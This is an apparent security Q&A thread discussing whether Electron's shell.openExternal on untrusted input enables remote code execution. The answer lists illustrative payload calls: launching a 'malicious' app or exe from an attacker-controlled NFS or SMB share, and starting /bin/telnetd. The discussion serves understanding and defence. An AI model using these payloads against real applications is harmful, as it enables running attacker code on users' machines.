INFORMATION SECURITY

Dangers of Electron's "shell.openExternal" on untrusted content

Asked 2 years, 10 months ago Modified 2 years, 10 months ago Viewed 2k times

2

I'm curious about the actual dangers of executing `shell.openExternal` on untrusted content. Documentation specifically states that this can be leveraged for RCE:

> Improper use of openExternal can be leveraged to compromise the user's host. When openExternal is used with untrusted content, it can be leveraged to execute arbitrary commands.

All reports I can find of this online claim they have RCE by popping open the Calculator application or opening `/etc/passwd` in a text editor. But none of these are actually remote code execution. Yes, RCE vulnerabilities are often PoC'ed by popping open the calculator app, but popping open the calculator app does not mean you have an RCE: these are merely the execution of local code that is already there on the victim's filesystem, or opening files already on the victim's filesystem in their default application. I don't see how you could use this ability to compromise a user's host, and I have yet to find an example of an *actual* RCE exploit or vulnerability caused by executing `shell.openExternal` on untrusted content.

From documentation and experimentation, it seems that `shell.openExternal` works by essentially opening a url, file, or binary in the application that your system would normally use to run it. You can't pass arguments, so invoking a shell is not particularly useful. As best as I can tell, exploiting this for an *actual* RCE would require first dropping the malicious binary on the target's filesystem at a predictable location. Note that uploading a malicious binary to the Internet and pointing to it via a URL does not work -- it just results in a browser opening and offering the file for download.

So lets say I'm running an electron app which calls `shell.openExternal(value);` where you control `value`. How would you execute your arbitrary code / commands on my machine?

remote-code-execution

Share Improve this question Follow

asked Feb 12, 2020 at 20:28
Mala
123 5

1 Answer

Sorted by:
Highest score (default)

2

I think your confusion stems from your interpretation of the term "remote code execution" (RCE). This term is used to describe (perhaps colloquially) many different classes of *critical* software vulnerabilities that allow an attacker to execute arbitrary code *or* commands on a vulnerable system. The particular vulnerability may be a result of a memory corruption bug, a logic error, poor software development practices, or a combination of the above.

Vulnerabilities like the one described in your question allow for "arbitrary command execution". These are also referred to as "command injection" vulnerabilities in web application security, and perhaps elsewhere. In this case, your assertion is correct that it is not literally "remote" code that is being executed, but an attacker can still run potentially arbitrary commands on the system. While not as flashy as a memory corruption bug, where the attacker may hijack the program's instruction flow and possibly execute their own shellcode, it is still critical, as the attacker is not restricted, other than by nature of the `openExternal` function.

Here are some examples of what an attacker could do with this vulnerability:

```
# Sure, harmless enough
shell.openExternal('file:///Applications/Calculator.app')
# What if you provide a file URI to a network share that contains a malicious app?
shell.openExternal('file://net/203.0.113.0/nfs/evil/malicious.app')
# Or SMB share?
shell.openExternal('\\203.0.113.0\evil\malicious.exe')
# Maybe in some cases it is bad enough to just run a program with no arguments? (Rough example)
shell.openExternal('file:///bin/telnetd')
# Or maybe it could be combined with some kind of file upload to use an attacker's uploaded file.
```

Additionally, some apps may register custom URI protocol handlers such as `x-custom-app://` that may allow an attacker to open an app and supply it with whatever commands/data it supports.

I suggest you search online for bug bounty writeups that used `openExternal`. Here are some things I found:

- https://pwning.re/2018/12/04/github-desktop-rce/
- https://hackerone.com/reports/276031
- https://dev.to/nlowe/rce-in-mattermost-desktop-earlier-than-420-5aef

Share Improve this answer Follow

answered Feb 13, 2020 at 1:22
multithr3at3d
12.5k 3 31 43